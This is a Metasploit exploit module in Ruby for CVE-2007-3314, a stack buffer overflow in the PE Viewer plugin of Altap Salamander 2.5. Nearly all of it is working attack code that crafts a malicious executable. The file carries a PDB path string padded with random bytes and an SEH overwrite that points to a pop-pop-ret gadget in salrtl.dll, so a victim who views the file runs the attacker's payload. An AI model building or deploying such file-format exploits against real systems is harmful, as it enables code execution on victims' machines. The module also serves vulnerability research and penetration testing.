Altap Salamander 2.5 PE Viewer – Local Buffer Overflow (Metasploit)
## # $Id: altap_salamander_pdb.rb 11353 2010-12-16 20:11:01Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Altap Salamander 2.5 PE Viewer Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Altap Salamander <= v2.5. By creating a malicious file and convincing a user to view the file with the Portable Executable Viewer plugin within a vulnerable version of Salamander, the PDB file string is copied onto the stack and the SEH can be overwritten. }, 'License' => MSF_LICENSE, 'Author' => [ 'patrick' ], 'Version' => '$Revision: 11353 $', 'References' => [ [ 'CVE', '2007-3314' ], [ 'BID', '24557' ], [ 'OSVDB', '37579' ], [ 'URL', 'http://vuln.sg/salamander25-en.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x0d\x0a=:\\/%$^&*", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Universal Salamander 2.5', { 'Ret' => 0x23920b59 } ], # pop ebx; pop eax; ret salrtl.dll ], 'Privileged' => false, 'DisclosureDate' => 'Jun 19 2007', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf-salamander-pdb.exe']) ], self.class) end def exploit seh = generate_seh_payload(target.ret) # load the static pdb file beginning path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2007-3314.dat") fd = File.open(path, "rb") sploit = fd.read(fd.stat.size) fd.close sploit << rand_text_alphanumeric(1098) + seh sploit << ".pdb" print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end |